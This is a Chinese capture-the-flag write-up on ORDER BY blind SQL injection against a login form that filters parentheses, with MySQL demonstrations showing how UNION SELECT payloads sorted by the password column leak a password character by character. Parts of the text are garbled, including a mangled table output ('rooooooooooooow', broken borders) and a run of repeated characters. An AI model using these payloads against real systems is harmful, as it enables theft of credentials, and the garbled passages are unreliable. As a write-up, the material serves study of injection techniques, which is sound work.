过滤括号的sql注入,order by盲注

web5

感觉很新颖的一道题,用到了一种新的注入方式,order by盲注(没错,这玩意也能盲注)

准备工作

一开始打开界面,提示你不是Union.373组织成员,请勿入内,估计要修改请求头

把什么xff伪造ip之类的都试了一遍之后,发现是伪造浏览器标识

显示请输入用户名,但是页面中也没有输入用户名地方,估计就是post了

再输入密码

提示组织成员密码就是flag
这里很显然就是个注入了
先试试能不能爆出用户名是啥

用户名是union_373_Tom
再看看第几列能显示在页面上

经过测试,发现其过滤了括号。。。
这下子许多注入方法就无法使用了,只能用没有括号的语句进行注入
order by 语句就可以完成这个任务

什么是order by?

先初始化下本地的mysql,进行演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mysql> use security
Database changed
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)

mysql> select * from users where username = 'Dumb';
+----+---+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 rooooooooooooow in set (0.00 sec)

mysql> select * from users where username = 'Dumb' union select 1,2,3 order by 3;
+----+----------+-------- 1 | 2 | 3 |
| 1 | Dumb | Dumb --------+----------+
2 rows in set (0.00 sec)

order by 的主要作用用用用用用用用用用用用用就是让查询出来的数据根据第n列进行排序(默认升序),其排序比较字符的ascii码大小,从第一位开始比较,第一位相同时比较下一位。
例如,我们按照第三列进行排序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> select * from users where username = 'Dumb' union select 1,2,'A' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | A |
| 1 | Dumb | Dumb |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where username = 'Dumb' union select 1,2,'E' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 1 | 2 | E |
+----+----------+----------+
2 rows in set (0.00 sec)

E的asci码大于D,根据默认升序原则,排在下面,如果在网页中,第二列的数据能显示在网页上,显示的数据则为Dumb
A的asci码小于D,根据默认升序原则,排在上面,如果在网页中,第二列的数据能显示在网页上,显示的数据则为2
当第一位相同时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> select * from users where username = 'Dumb' union select 1,2,'Dt' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | Dt |
| 1 | Dumb | Dumb |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where username = 'Dumb' union select 1,2,'Dv' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 1 | 2 | Dv |
+----+----------+----------+
2 rows in set (0.00 sec)

D相同
v的asci码大于u,根据默认升序原则,排在下面,如果在网页中,第二列的数据能显示在网页上,显示的数据则为Dumb
t的asci码小于u,根据默认升序原则,排在上面,如果在网页中,第二列的数据能显示在网页上,显示的数据则为2
以此类推
全部相同时,显示数据为2

1
2
3
4
5
6
7
8
mysql> select * from users where username = 'Dumb' union select 1,2,'Dumb' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | Dumb |
| 1 | Dumb | Dumb |
+----+----------+----------+
2 rows in set (0.00 sec)

这样,我们就可以根据网页显示内容不同一位一位的猜出数据
例如,数据第一位为D ,我们猜测ABCD时网页显示数据都无变化,但是猜测E的时候发生改变,那么根据升序排列的原则,这一位的数据即为令网页产生变化的字符的上一位
因为其需要依靠顺序猜测数据,故写脚本的时候最好不使用字典,直接range(32,127)。